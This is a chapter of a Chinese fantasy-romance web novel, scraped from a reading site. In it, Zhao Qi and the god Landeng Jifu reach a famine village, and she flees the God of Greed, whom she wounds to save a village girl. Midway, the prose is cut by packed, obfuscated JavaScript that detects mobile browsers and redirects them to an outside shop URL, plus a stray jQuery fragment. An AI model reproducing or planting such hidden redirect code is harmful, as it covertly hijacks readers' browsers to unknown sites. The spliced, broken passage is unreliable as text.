文趣网 > 其他小说 > 温柔堕仙 > 18. 第18章
    这座神殿囚笼的上空,赵琦抬头能望见漫天星斗。兰灯寂拂动了,他站起来。

    赵琦眨眼,见到面前的身影与夜空星斗融为一幕。兰灯寂拂的身量在抽高,渐渐变为翩翩少年模样,可眉宇间,仍隐隐见得几分成年时态于湖泊冷漠斩杀诸神的影子。

    赵琦本能地有些害怕,成年兰灯寂拂给她留下的阴影实在太大,在她被夺去了身体,还作为神明玖音时。

    “抱住你。”轻轻地一道呢喃。兰灯寂拂颈间枷锁已经消失,他说出这句话,垂眸注视赵琦。

    赵琦恍惚反应过来自己刚刚说过什么。脑袋稀里糊涂的。神明能一下子长这么大吗?形态随他们随心所欲控制?抱住你,他是什么意思。他要来抱我,还是我去,抱他?

    赵琦移动姿势,也小心地站起来,暗暗锤了锤蹲麻的腿,才抬起身。

    “抱吧。”她闭眼,张开双臂,心里说服自己这样很能培养好感。

    她没看见的地方,兰灯寂拂一愣。数秒的安静与沉默,后来,神明最终抱着她,消失在这片深陷沉夜覆盖的神殿建筑群。

    赵琦下定决心睁开眼时,只能看见兰灯寂拂清晰的下颚,他像抱一只小动物,将她单手抱在臂弯。赵琦默默低头看自己,腿刚刚悬在他的膝盖处。身高有些差距,外表有些差距,现在年龄,也有一些差距。但心理年龄是没差的,所以,能做朋友。

    周围是一片稀稀拉拉的麦穗地,黑漆漆的夜,地里堆放稻草堆。

    “这是哪里?”赵琦稍微扭动,意图让兰灯寂拂将她放下来。少年形态的兰灯寂拂没说话,可下一秒,赵琦便知道了。

    几个头戴斗笠的男人妇女拿着钉耙锄头对准他们。“干什么,来偷谷子的?”

    借着隐隐月光,人们的脸上充满愤怒警惕。看见人,赵琦感叹,原来这个时代没有自成一派的鬼神领域酆都,却仍旧有人间吗。

    “没偷。”赵琦连忙摆手,看向兰灯寂拂的瞬间,眼睛也往地里看。稻谷已经收的差不多,只稀疏的留下些土里还没来得及捡走的麦穗。有些麦穗上还有小米,村民们便一直安排人守在这里。谁知打哈欠一晃眼的功夫,地里又多了两道鬼鬼祟祟的身影。

    眼前稻谷倒是给了赵琦惊喜,她幼时曾掰着手指头算过,爹是多少岁,母亲又是多少岁?母亲当时笑着敲了她一拳头,说他们从人间普通村民变为掌握酆都的神的年岁,阿琦得多变出千手,再多长数千根手指。

    赵琦当时盯着自己的手吓哭了,可现在看向周围竟生起些许期待与希望,这个时间段,还是凡人的父亲母亲已经出生了吗。她在人群中寻找,可是,没能见到任何一张熟悉的脸,甚至是相似的脸。

    脑袋耷拉下去,心中隐隐失望。

    村民们见她突然表情失落,沮丧地垂头,举着钉耙的手不自觉松力。“真没想偷吗?”

    他们的面前,一个不似人的漂亮人抱着一个乖乖巧巧惹人怜爱的小姑娘。两人肤色都白,小姑娘更是面色红润,非家里富贵,应该养不起这么健康的人吧。既然如此,再者真要偷,为什么要费力来田里捡漏穗,去村口的粮仓才是最好的选择啊。

    赵琦抬头,极其认真道:“我不偷东西的。”

    其中一村民推搡了下旁边站着的另一妇女肩膀,使了个眼色。妇女上前:“灾荒年,谁都不容易,留下吧。”

    “但,我们不会管你们的吃食。”

    吃食?赵琦立马答:“谢谢,没吃的,我们也可以努力活。很好养活的。”

    魂珠可以维持她的体征,而身后神明少年应该也不需要凡间五谷,或许从未吃过。

    最终,她和兰灯寂拂一同仰头,站在了这间摇摇欲坠的草屋前。房顶由乌青稻草覆盖,一看就是新盖上去的,但还是缺了几角。灾荒年人吃人,村民面对外来人没有赶走他们,不管如何,仍是给他们指了个夜晚庇护处。

    赵琦不知道,这个村子是方圆几百再百里唯一收获粮食的村落。在不该生长粮食的季节,一夜间出现了神迹,硕果米香满村。

    远处黑狗在叫,赵琦躺在了同样摇摇欲坠的木板床上。她动一下,床就吱嘎一下。

    “你,为什么带我来这里呢?”赵琦翻身,枕着手问兰灯寂拂。床的墙壁上有一扇窗,他们靠得很近,透进的月光可以让她清晰看见兰灯寂拂皮肤下的睫毛落影。

    兰灯寂拂睁眼,眼中是迷茫疑惑。

    赵琦等待很久,什么都没问出。她尴尬转身,背对兰灯寂拂,床又吱嘎响。

    最怕的不是他对她生气,也不是他厌恶她,而是这位神明眼中的自己如同窗外随意事物。她在兰灯寂拂的眼中,是什么呢。赵琦闭眼,脑海又闪现那一幕,那时毫无眷恋,他就那样杀了她?

    饥饿的村民们收获神迹,从此硕果米香,给予神迹的暗处之神终有一日也前来收获他的硕果。

    这里有一位漂亮姑娘,是神给予东西想要的回报。

    赵琦是无意间撞见的,稻草后,那双挣扎的腿,那双熟悉的眼睛。那双全是黑色,没有瞳孔与她再次对望的神。

    “我……。”赵琦想都没想,在贪欲之神没反应过来时扔过去手中镰刀。鲜血流出,赵琦记忆中浮现那时贪欲之神随意的神情,也不是非我们这最高贵,最敬爱的小神明不可。

    “你这坨狗屎!怪不得第一个被杀。”

    贪欲之神吃痛,可比痛更深的是赵琦那句,怪不得第一个被杀。

    在他欲将赵琦处置时,却兀然发觉,他怎么会受伤,她为什么会对他造成了伤害呢。不敢置信,手掌从□□摸出一滩鲜血。贪欲之神的鼻尖,发着凉,提醒着他眼前居高临下站着,冷眼恨不得立刻弄死他的赵琦身上所散发出的血脉气息。

    这个玖音捡回来的另一个玩意,怎么会出现在这里。

    天空聚云,黑云压顶。这片土地的空气开始下压。赵琦一直跑,不敢回头。贪欲之神在追她,像逗猫一般任由她仓促逃跑。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632176|206413||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跑了,贪欲之神跟着追了,那个女孩也就平安了吧。赵琦沉下心努力跑,乌云一直跟随她的头顶不紧不慢,而她是那样费力又狼狈地狂奔。

    风泣声灌耳。

    她能依赖谁,兰灯寂拂吗。可这位神明有情吗,她赌他会对她特殊,可这真的可能吗。

    赵琦跑进了深山时,开始落雨。

    雨水一点点在冲刷着泥土,泥水顺着赵琦跑上的斜坡滚落。她的鞋全湿了,湿哒哒的,很难受。只有打在树叶间的沙沙声,时间失去感知,她努力地跑,某瞬间觉得就这样一直就着尽头跑,是不是能莫名其妙穿越时空,回到她的家。

    天色很暗,她快要找不到路。身后贪欲之神的诅咒声如影随形。不会有人再在前面喊:“阿琦,快来母亲身边,母亲接住你。”

    神明圣洁,为什么也会是邪恶的,贪欲之神,惊愕神明,玖音……她见过的所有这诸神黄昏阵营的神明。

    无力,绝望,再也跑不动。母亲,我想回家,不想出嫁,也不要再经过那片堕神之地。想回家,想……回家。

    贪欲之神开始收网。

    “逃跑的小老鼠在哪里呢?”

    赵琦躲在一块石板下,这全是绿色的树林中,就这一块长灰石板。她将自己缩在石板中间。

    “啊!原来,在这里啊。”

    赵琦闭眼,打算认命。

    突然间天空乌云全部被不可抵抗的强力驱散。林间天光大明,只有落雨在下。

    兰灯寂拂弯腰,与赵琦一同挤在这块狭小拥挤的区域。

    没人说话。

    静谧中。

    “把我变成第一次见你的模样。”柔柔的女声响起。

    兰灯寂拂听不懂。

    赵琦道:“不,让我跟你现在的年纪外表一样大。”

    兰灯寂拂照做了。

    赵琦低头,看见自己手臂上因随着生长而变长的裂痕,开始触及膝盖的黑发。而束着兰灯寂拂长发的那根红绳不知何时也不在了。

    雨中勉强干燥的石板下,她与他的发丝交缠。

    赵琦深吸一口气,闭眼,对眼前的神明吻了上去。

    似乎没有任何变化,可石板外的落雨停滞。

    我都这样对你了。“厌恶也好,生气也好,愤怒也好,你能不能动情!”厌恶到留着折磨我,生气到怒骂,愤怒到杀了我也不解气还是选择留下我折磨。

    曾经我想死,想变得跟大家一样,可现在我想活,活到能再见父亲母亲时,回到我的……酆都。

    她在哭。屈辱,羞耻,自我厌恶。

    唇齿相贴,不带任何情欲,是最原始的乱啃乱咬。

    赵琦落下的泪顺着脸颊滑到唇边,她终于迷茫抬眸,看见了兰灯寂拂盯着她的那双仍旧平静的眼眸,以及,他竟有些破裂的唇。

    神明吗,阿琦,我告诉过你,他不会有情,更不会有爱。

    落雨中,她再次凑上前,轻柔地含住了他唇间的血迹。